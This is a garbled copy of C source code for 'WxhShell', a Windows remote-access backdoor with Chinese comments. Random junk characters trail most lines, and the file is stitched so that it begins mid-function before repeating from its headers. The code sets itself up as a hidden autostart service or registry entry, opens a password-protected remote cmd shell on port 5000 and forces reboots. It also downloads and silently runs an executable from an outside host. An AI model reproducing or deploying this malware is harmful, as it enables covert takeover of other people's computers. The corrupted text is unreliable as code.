    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iIP8`! O  
    if(Boot(SHUTDOWN)) *<u2:=_s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6}KZp~s  
    else { "^1L'4'S  
    closesocket(wsh); Y}vr>\  
    ExitThread(0); E{n:J3_X^d  
    } A l`e/a  
    break; @S 7sr-  
    } NMi45y(Y  
  // 获取shell }nMPSerE  
  case 's': { ,DZX$Ug~+E  
    CmdShell(wsh); leQT-l2Bk  
    closesocket(wsh); 59Gk3frk(  
    ExitThread(0); q]\g,a  
    break; d`(@_czdF  
  } U2%.S&wS,e  
  // 退出 "5,   
  case 'x': { zdp/|"D!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0]jA<vLR  
    CloseIt(wsh); t2r?N}"P  
    break; PClMQL#  
    } Zt3)]sB  
  // 离开 nQ/E5y  
  case 'q': { 25&J7\P*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |eWjYGwJa  
    closesocket(wsh); mSo_} je(  
    WSACleanup(); SC- $B  
    exit(1); UDL RCS8i  
    break; fhCc! \  
        } Q8_ d)t|  
  } cDI [PJ9  
  } c?%(Dp E  
&wB\ ~Ie-  
  // 提示信息 :(H>2xS,s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zx d~c]n  
} Z?O *'#yn  
  } K_ ci_g":  
2 6>ZW4Z  
  return; oaK%Ww6~  
} t>uN'oCyC  
a<h1\ `H7  
// shell模块句柄 yA3wtm/?  
int CmdShell(SOCKET sock) T_lsGu/  
{ "jaJr5Wv=y  
STARTUPINFO si; m B\C?=_  
ZeroMemory(&si,sizeof(si)); M BXBog7U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XJ Iv1s\g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sIv)'  
PROCESS_INFORMATION ProcessInfo; `~W-Xx  
char cmdline[]="cmd"; ez9 q7SpA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h?$T!D>  
  return 0; Rtjqx6-B;  
} E[^ {w  
M1%Dg'}G  
// 自身启动模式 _A0mxq  
int StartFromService(void) J=dJs k   
{ UG<79"\i  
typedef struct  ]@M5&  
{ /o2P+Xr8"  
  DWORD ExitStatus; .uEPnzi  
  DWORD PebBaseAddress; /NFz4h =>  
  DWORD AffinityMask; bTSL<"(]N  
  DWORD BasePriority; =GXu 5 8  
  ULONG UniqueProcessId; aIXdV2QS  
  ULONG InheritedFromUniqueProcessId; Y+3!f#exm  
}   PROCESS_BASIC_INFORMATION; $:of=WTY(  
8#D:H/`'  
PROCNTQSIP NtQueryInformationProcess; `4 y]Z)  
8#&q$kE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $v b,P(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W@2vjz  
e9E\% p  
  HANDLE             hProcess; l)-Mq@V  
  PROCESS_BASIC_INFORMATION pbi; &k8vWXMGk%  
w ;e(Gb%9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A4QcQ"  
  if(NULL == hInst ) return 0; W8g' lqc|  
Ei2%DMN7)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U/NBFc:[y:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JO'>oFv_W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c )7j QA  
:h1pBEiH  
  if (!NtQueryInformationProcess) return 0; zW8*EE+,  
Hp|}~xjn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :ZDMNhUl &  
  if(!hProcess) return 0; 5ZY)nelc  
-<#!DjV6(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hwqbi "o  
=KT7nl  
  CloseHandle(hProcess); -ti{6:H8  
.6~`Ubr}E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); **>/}.%?K  
if(hProcess==NULL) return 0; /xJqJ_70X  
 LZ~"VV^  
HMODULE hMod; $M:3XAN  
char procName[255]; Em7 WDu0  
unsigned long cbNeeded; [/_+>M  
=\t /u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F6hmku>\1  
A!63p$VT;  
  CloseHandle(hProcess); )J(q49  
.4l/_4,s_  
if(strstr(procName,"services")) return 1; // 以服务启动 #Z~C`n u  
%5\3Aw  
  return 0; // 注册表启动 z 5]bia,  
} *{o UWt  
=?X$Yaw*  
// 主模块 ~l~Tk6EM  
int StartWxhshell(LPSTR lpCmdLine) B[9 (FRX  
{ PNeh#PI 6)  
  SOCKET wsl; <:|3rfm#  
BOOL val=TRUE; tU/k-W3X  
  int port=0; q:8_]Qt  
  struct sockaddr_in door; voe7l+Xk  
3CE[(   
  if(wscfg.ws_autoins) Install(); ueG|*[  
ir3VTqz  
port=atoi(lpCmdLine); ^ZTGJ(j7~  
+!0eu>~_&  
if(port<=0) port=wscfg.ws_port; S|B$c E  
 H@uE>  
  WSADATA data; EC6k{y}bA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :"o o>  
4@;-%H&7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @$eT~ C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /hv#CB>1x  
  door.sin_family = AF_INET; V,ZY*f0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z{]?h cY  
  door.sin_port = htons(port); n +1y  
rp7W }P+uU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #hw/^AaD-  
closesocket(wsl); b.2J]6G  
return 1; 3_5XHOdE  
} W0cgI9=9  
=22ALlxk  
  if(listen(wsl,2) == INVALID_SOCKET) { A 699FQ  
closesocket(wsl); B8I4[@m>w\  
return 1; [XlB<P=|>  
} "'Z- UV  
  Wxhshell(wsl); [*m2  
  WSACleanup(); 4QJ8Z t  
k6\^p;!Y  
return 0; C+N F9N  
{w^uWR4f  
} 8X&Ya =  
"?.~/@  
// 以NT服务方式启动 uM(UO,X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "zZI S6j  
{ [{&jr]w`|  
DWORD   status = 0; q\9d6u=Gm  
  DWORD   specificError = 0xfffffff; I]}>|  
8Og3yFx[rt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; } PeZO!K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,,=apyr#&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sP$Ks#/  
  serviceStatus.dwWin32ExitCode     = 0; "t(wG{RxY  
  serviceStatus.dwServiceSpecificExitCode = 0; 2}t&iG|0/  
  serviceStatus.dwCheckPoint       = 0; gd^Js 1Z  
  serviceStatus.dwWaitHint       = 0; {b!7 .Cd=  
qS8B##x+=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w>~M}Ahj  
  if (hServiceStatusHandle==0) return; 8)0 L2KL'  
EA{U!b]cU  
status = GetLastError(); v+1i= s2$  
  if (status!=NO_ERROR) K6pR8z*?  
{ D>wZ0p b-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R21~Q:b !  
    serviceStatus.dwCheckPoint       = 0; u@.>WHQN  
    serviceStatus.dwWaitHint       = 0; J^3H7 ]  
    serviceStatus.dwWin32ExitCode     = status; vH?9\3  
    serviceStatus.dwServiceSpecificExitCode = specificError; CP` XUpX`&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (xyS7q]m  
    return; {)K](S ~  
  } FEm=w2  
=7ydk"xM*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0-2"FdeQU  
  serviceStatus.dwCheckPoint       = 0; XrN- 2HTV  
  serviceStatus.dwWaitHint       = 0; B/eaqJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w}<^l  
} MC=G"m:_  
[N|xzMe  
// 处理NT服务事件,比如:启动、停止 {0's~U+@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g*-2* \  
{ N\R=cwk  
switch(fdwControl) Rrqg[F+  
{ u.6P-yh  
case SERVICE_CONTROL_STOP: u3ds QU  
  serviceStatus.dwWin32ExitCode = 0; .2X2b<%)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vD=%`G[m  
  serviceStatus.dwCheckPoint   = 0; /)V4k:#b  
  serviceStatus.dwWaitHint     = 0; fA8ozL T  
  { WD?Jk9_F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T{ -2fp8r[  
  } 30 7fBa  
  return;  ^Omfe  
case SERVICE_CONTROL_PAUSE: |f NMs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |Cf mcz(56  
  break; {j6g@Vd6lx  
case SERVICE_CONTROL_CONTINUE: -i_En^Fi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~b8a^6:R"  
  break; ]C *10S`  
case SERVICE_CONTROL_INTERROGATE: Q\#UWsN(T/  
  break; NJ$e6$g)  
}; _bI+QC#   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S;}qLjT  
} &`@M8-m#F  
/4C`k=>  
// 标准应用程序主函数 eF1.VLI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3Xdn62[&  
{ R [9w  
g@E&uyM  
// 获取操作系统版本 K}2Npo FS  
OsIsNt=GetOsVer(); RG? MRxC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,h!X k  
aJ2H.E  
  // 从命令行安装 @}eNV~ROu  
  if(strpbrk(lpCmdLine,"iI")) Install(); R$xY8+}V  
2z-$zB<vyw  
  // 下载执行文件 %c1FwAC  
if(wscfg.ws_downexe) { 2X_>vIlEm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F aWl,}]  
  WinExec(wscfg.ws_filenam,SW_HIDE); 37K U~9-A  
} T}2:.Hk:N  
7!- \L7<  
if(!OsIsNt) { $- w5o`e  
// 如果时win9x,隐藏进程并且设置为注册表启动 eU~?p|Np  
HideProc(); ve%l({  
StartWxhshell(lpCmdLine); X>/K/M  
} &"AQ; %&N  
else L<)Z>@fR  
  if(StartFromService()) 0P9Wy!f7  
  // 以服务方式启动 VR v02m5  
  StartServiceCtrlDispatcher(DispatchTable); AM?Ec1S #a  
else 5bBCpNa  
  // 普通方式启动 KnFQ)sX^  
  StartWxhshell(lpCmdLine); 73pC  
yfq>,  
return 0; yjeL9:jH[  
} q u:To7  
Ws>i)6[  
6!RikEAh  
-aN":?8(G  
=========================================== ,cS0  
3k{c$x}  
._ih$=   
^^ j/  
_3U|2(E  
l4Y1(  
" "7?t)FOo  
xSOoIsL[  
#include <stdio.h> 2H>aC wfX  
#include <string.h> H%~Q?4  
#include <windows.h> u#VweXyU  
#include <winsock2.h> D1! {S7  
#include <winsvc.h> 1t%<5O;R  
#include <urlmon.h>  wQw-:f-  
7*g(@d  
#pragma comment (lib, "Ws2_32.lib") ?.j,Bq5At  
#pragma comment (lib, "urlmon.lib") 2MT_#r_  
r8+*|$K  
#define MAX_USER   100 // 最大客户端连接数 kDg{ >mf  
#define BUF_SOCK   200 // sock buffer wXcMt>3  
#define KEY_BUFF   255 // 输入 buffer :o<N!*pT  
H8<m9zDvl  
#define REBOOT     0   // 重启 !?n50  
#define SHUTDOWN   1   // 关机 7BK46x  
4)E|&)-fu8  
#define DEF_PORT   5000 // 监听端口 d v[\.T`LY  
J 5- rp|  
#define REG_LEN     16   // 注册表键长度 3z$HKG  
#define SVC_LEN     80   // NT服务名长度 /evaTQPz  
#Wq#beBb  
// 从dll定义API Q_v\1"c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3f,u}1npa*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {N Y]L==H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N[]U%9[=2F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ny~W]1  
tnNZ`]qY  
// wxhshell配置信息 Lv^a+'  
struct WSCFG { v2(U(Tt  
  int ws_port;         // 监听端口 Kf&r21h  
  char ws_passstr[REG_LEN]; // 口令 S8vx[<  
  int ws_autoins;       // 安装标记, 1=yes 0=no F[(6*/46x  
  char ws_regname[REG_LEN]; // 注册表键名 BM.-X7)  
  char ws_svcname[REG_LEN]; // 服务名 Q+HZ?V(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1=ip ,D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 sD.6"w7}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?{n>EvLY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b_ypsGE]5!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "u,sRbL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tw]/,>\G  
{QW-g  
}; #,)P N @P  
 .?70=8{  
// default Wxhshell configuration g"w)@*?K  
struct WSCFG wscfg={DEF_PORT, 6,a%&1_  
    "xuhuanlingzhe", 4 ;^g MI9  
    1, B6(h7~0(<  
    "Wxhshell", v<%]XHN  
    "Wxhshell", 2h5tBEOX.s  
            "WxhShell Service", \!m!ibr  
    "Wrsky Windows CmdShell Service", ,v|CombIc.  
    "Please Input Your Password: ", $}V7(wu 6@  
  1, [Yn;G7cK  
  "http://www.wrsky.com/wxhshell.exe", N*HH,m&  
  "Wxhshell.exe" u1wg C#  
    }; kz$(V(k<  
8>2&h  
// 消息定义模块 ws. ?cCTpt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "h QV9 [2\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S]vW&r3`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6xyY+  
char *msg_ws_ext="\n\rExit."; KQ-,W8Q5  
char *msg_ws_end="\n\rQuit."; a (P^e)<  
char *msg_ws_boot="\n\rReboot..."; P_v0))n{  
char *msg_ws_poff="\n\rShutdown..."; }FHw" {my  
char *msg_ws_down="\n\rSave to "; EqVsxwa  
C+T&O  
char *msg_ws_err="\n\rErr!"; qjJ{+Rz2  
char *msg_ws_ok="\n\rOK!"; $+0=GN  
`D4oAx d9  
char ExeFile[MAX_PATH]; `!]R!T@C  
int nUser = 0; 4n#YDZ  
HANDLE handles[MAX_USER]; >7"$}5d  
int OsIsNt; "^Y6ctw  
}7-7t{G  
SERVICE_STATUS       serviceStatus; 7&=-a|k~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p| Vmdnb  
;HR 6X  
// 函数声明 `8mD7xsg$  
int Install(void); RfD{g"]y  
int Uninstall(void); fFjLp l  
int DownloadFile(char *sURL, SOCKET wsh); U0!^m1U:  
int Boot(int flag); U.HoFf+HN  
void HideProc(void); .MzOLv   
int GetOsVer(void); mu 2 A%"7  
int Wxhshell(SOCKET wsl); -m E  
void TalkWithClient(void *cs);  { VS''Lv  
int CmdShell(SOCKET sock); hEVjeC  
int StartFromService(void); pCz@(:0  
int StartWxhshell(LPSTR lpCmdLine); t1G1(F#&%  
"w(N62z/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @gH(/pFX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @X3 gBGY)  
2f`WDL  
// 数据结构和表定义 @][ a8:Y9I  
SERVICE_TABLE_ENTRY DispatchTable[] = w/?nUp  
{ lv=yz\  
{wscfg.ws_svcname, NTServiceMain}, X!HDj<  
{NULL, NULL} I/oIcQS!k  
}; ~8XX3+]z:X  
hN Z4v/  
// 自我安装 vsu@PuqH  
int Install(void) N>Vacc_[  
{ P'-JbPXU  
  char svExeFile[MAX_PATH]; Y')O>C0~  
  HKEY key; fui4@  
  strcpy(svExeFile,ExeFile); W`w5jk'0^=  
A4~D#V  
// 如果是win9x系统,修改注册表设为自启动 _!CK   
if(!OsIsNt) { pESB Il  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {E;2&d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w> Tyk#7lw  
  RegCloseKey(key); IXbdS9,>F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k&MlQ2'!<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0@II &  
  RegCloseKey(key); (45NZBs  
  return 0; <QYCo1_  
    } PN1(j|  
  } @SKO~?7T  
} Y1$#KC  
else { sN6 0o 7.  
)?!vJb"  
// 如果是NT以上系统,安装为系统服务 MV Hz$hyB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l81&[  
if (schSCManager!=0) 6(ka"Vu~  
{ &>&dhdTQ  
  SC_HANDLE schService = CreateService R59e&   
  ( 3~cS}N T  
  schSCManager, h5LJij J  
  wscfg.ws_svcname, 54`bE$:+  
  wscfg.ws_svcdisp, Bpk@{E9  
  SERVICE_ALL_ACCESS, >k$[hk*~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3X88x-3  
  SERVICE_AUTO_START, DQ}_9?3  
  SERVICE_ERROR_NORMAL, @4G.(zW  
  svExeFile, r24\DvS  
  NULL, se<i5JsSV  
  NULL, =fKhXd  
  NULL, Hv[d<ylO  
  NULL, ;FV~q{  
  NULL !L &=?CX  
  ); Zp/qs z(]  
  if (schService!=0) ^2&O3s  
  { Uq9,(tV`6g  
  CloseServiceHandle(schService); wQF&GGY R  
  CloseServiceHandle(schSCManager); <7vIh0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ",MK'\E  
  strcat(svExeFile,wscfg.ws_svcname); I>< 99cwFI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xTa4.ZXg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "o\6k"_c>  
  RegCloseKey(key); G=r(SJq  
  return 0; Gk{ "O%AE  
    } wc<2Uc  
  } ]7#^])>  
  CloseServiceHandle(schSCManager); LV}UBao5n  
} OhSt6&+  
} X";QA":  
^yn[QWFO  
return 1; '0'"k2"vC  
} \j,v/C@c-  
0Zc*YdH  
// 自我卸载 adRNrt*!  
int Uninstall(void) r6O7&Me<  
{ 1A|x$j6m  
  HKEY key; hO+O0=$}wN  
'_TJ"lOZ  
if(!OsIsNt) { >K_$[qP3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /o<}]]YBF  
  RegDeleteValue(key,wscfg.ws_regname); ,wry u|7"$  
  RegCloseKey(key); 7|h3.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >.!5M L\  
  RegDeleteValue(key,wscfg.ws_regname); .d#G]8suF  
  RegCloseKey(key); H3p4,Y}'#  
  return 0; +P> A P&  
  } X]+(c_i:hC  
} !Zk%P  
} f^[{k {t  
else { bMK#^ZoH  
=\ti<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,p[\fT($]  
if (schSCManager!=0) nJ'>#9~a'>  
{ VurP1@e&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `&|l;zsS  
  if (schService!=0) '-nuH;r  
  { Ovaj":L  
  if(DeleteService(schService)!=0) { +eV4g2w)  
  CloseServiceHandle(schService); By51dk 7  
  CloseServiceHandle(schSCManager); S5*~r@8h  
  return 0; *0Wi^f  
  } H}jK3;8E  
  CloseServiceHandle(schService); e-Ybac%  
  } 6g~o3  
  CloseServiceHandle(schSCManager); i-i}`oN  
}  MrKU,-  
} \Age9iz&  
:o.x=c B  
return 1; <6}f2^  
} c]g<XVI  
>'2w\Uk~:  
// 从指定url下载文件 aowPji$H  
int DownloadFile(char *sURL, SOCKET wsh) W[1f]w3  
{ PtPGi^  
  HRESULT hr; Dj,+t+|  
char seps[]= "/"; 8Y{}p[UFT  
char *token; 0bnVIG2q  
char *file; C%95~\Ds  
char myURL[MAX_PATH]; +}`O^#<qLX  
char myFILE[MAX_PATH]; NU)`js  
UuOLv;v  
strcpy(myURL,sURL); 6'No4[F 4n  
  token=strtok(myURL,seps); TQ5MKqR$  
  while(token!=NULL) RB% fA%d  
  { s5zGg]0  
    file=token; RIVL 0Ig  
  token=strtok(NULL,seps); [c KI0  
  } f)AW! /  
}]39 iK`w  
GetCurrentDirectory(MAX_PATH,myFILE); 5uD#=/oV  
strcat(myFILE, "\\"); jnU*l\,  
strcat(myFILE, file); jOm&yX  
  send(wsh,myFILE,strlen(myFILE),0); 02J6Pn3  
send(wsh,"...",3,0); .J1Hg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H(%] Os  
  if(hr==S_OK) _ \v@9Q\  
return 0; y-)+I<M  
else Vhbj.eX.)  
return 1; x^='pEt{  
?ck^? p7  
} 1EAVMJ  
jy__Y=1}  
// 系统电源模块 @E"+qPp.3  
int Boot(int flag) ;@7 #w  
{ @]ptY*   
  HANDLE hToken; %<ptkZK#  
  TOKEN_PRIVILEGES tkp; ^7s6J {<  
:#W>SO  
  if(OsIsNt) { zfr(dQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?%za:{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r"u(!~R  
    tkp.PrivilegeCount = 1; 'Qs 3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !s[j1=y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6(<~1{ X%  
if(flag==REBOOT) { ]=86[A-2N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UTK.tg  
  return 0; ev;5 ?9\E  
} "-j@GCme  
else { I 3zitI;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Pdo5 sve  
  return 0; lc$@Jjg9  
} uZ2v;]\Y6  
  } 9tc@   
  else { ?/l}(t$H  
if(flag==REBOOT) { Xv5Ev@T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y(I*%=:$  
  return 0; |H+k?C-w  
} 3]kAb`9[K2  
else { Y%?!AmER  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $Pb[ c%'  
  return 0; qLW-3W;WUH  
} TNyY60E  
} R SWB!-  
48&KdbGX  
return 1; fssL'DD  
} P #2TM  
$OFFH[_z  
// win9x进程隐藏模块 XUqE5[O%  
void HideProc(void) s<r.+zqW  
{ Uhx2 _  
RJ@e5A6_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |_xiG~  
  if ( hKernel != NULL ) G`9F.T_Z^)  
  { IrwF B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); seD+~Y\z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :jKXKY+T  
    FreeLibrary(hKernel); z`r4edk3  
  } *}iT6OJ  
Wn,g!rB^@  
return; o2e h)rtB  
} Ko]h r  
EPd.atA  
// 获取操作系统版本 U5ud?z()OA  
int GetOsVer(void) f s"V'E2a  
{ n,Mw# r?y  
  OSVERSIONINFO winfo; @%@^5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %{VI-CQ  
  GetVersionEx(&winfo); {8bY7NH|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Bzy=@]`  
  return 1; OB  i!fLa  
  else $5"-s]  
  return 0; @ H`QLm  
} )RCqsFjK  
wPO@f~[Ji  
// 客户端句柄模块 ohtn^o;C}  
int Wxhshell(SOCKET wsl) Zn 5m.=z  
{ kFa?q} 47  
  SOCKET wsh; eNC5' Z  
  struct sockaddr_in client; Jp*AIj  
  DWORD myID; BK\~I  
"$"mWF-  
  while(nUser<MAX_USER) <$3nD b-  
{ . ;@) 5"  
  int nSize=sizeof(client); U#1yl6e\I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W%XS0k}x  
  if(wsh==INVALID_SOCKET) return 1; ?o DfI  
l'{goyf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y)5uK:)^  
if(handles[nUser]==0) nPIR 1Z  
  closesocket(wsh); 3^-)gK  
else /G{3p&9  
  nUser++; y $ DB  
  } Umwg iw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;o@`l$O   
H=BR -  
  return 0;  iIEIGQx  
} ~ V- o{IA  
}]GK@nn7  
// 关闭 socket +p}Xmn  
void CloseIt(SOCKET wsh) "u]Fl+c  
{ r~Ubgd ]U  
closesocket(wsh); K$vRk5U  
nUser--; J&Qy$itqg  
ExitThread(0); ~u`! Gi  
} EkAqFcKLq  
Z6AU%3]  
// 客户端请求句柄 PWD]qtr  
void TalkWithClient(void *cs) l3|>*szX  
{ MmX[xk  
R]s jG <  
  SOCKET wsh=(SOCKET)cs; GQ)cUrXQz  
  char pwd[SVC_LEN]; <:7e4#  
  char cmd[KEY_BUFF]; ;3}b&Z[N]  
char chr[1]; d@4=XSj  
int i,j; Fl>j5[kLZ  
,F9wc<V8  
  while (nUser < MAX_USER) { p[VCt" j  
^[z\KmUqt  
if(wscfg.ws_passstr) { )3\rp$]1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZU@jtqq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~9;mZi1-  
  //ZeroMemory(pwd,KEY_BUFF); 8A]q!To  
      i=0; ;B7|tajd  
  while(i<SVC_LEN) { G8-d%O p  
%LlKi5u]  
  // 设置超时 E :g ArQ  
  fd_set FdRead; A"ph!* i{  
  struct timeval TimeOut; kRa$jD^?  
  FD_ZERO(&FdRead); jtpNo~O  
  FD_SET(wsh,&FdRead); .7Bav5 ;  
  TimeOut.tv_sec=8; kV%y%l(6  
  TimeOut.tv_usec=0; ,^66`C[G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ywtDz8!^u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2m}]z.w#  
&|FG#.2yw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yXl.Gq>]{  
  pwd=chr[0]; s/^= WV  
  if(chr[0]==0xd || chr[0]==0xa) { DYk->)   
  pwd=0; h4xdE 0  
  break; 62'0)Cy^  
  } J@{ Bv%  
  i++; =,Um;hU3r  
    } a #**96Av  
#^w 1!xXD  
  // 如果是非法用户,关闭 socket +mPB?5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a2)*tbM 9\  
} >'g60R[  
ATewdq[C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V0B4<TTAo~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T js{ )r9  
d-&dA_ ?  
while(1) { o%Q'<0d  
$}o,7xAn  
  ZeroMemory(cmd,KEY_BUFF); r 24]2A  
[o6<aE-  
      // 自动支持客户端 telnet标准   uV\#J{'*  
  j=0; &1n0(qB  
  while(j<KEY_BUFF) { ?Ir6*ZyY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \srOU|  
  cmd[j]=chr[0]; $jL.TraV7  
  if(chr[0]==0xa || chr[0]==0xd) { uty]-k   
  cmd[j]=0; L )"w-,zy  
  break; 2a}_|#*  
  } _\]UA?0  
  j++; cl8Mv  
    } ~t$VzL1  
:{imRa-  
  // 下载文件 #f@53Pxb  
  if(strstr(cmd,"http://")) { 9K y,oB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $>`8'I  
  if(DownloadFile(cmd,wsh)) :udZfA\sW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "q8 'tN><  
  else duTSU9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wQ95tN  
  } of<OOh%3  
  else { zy5bDL -  
}0*7bb  
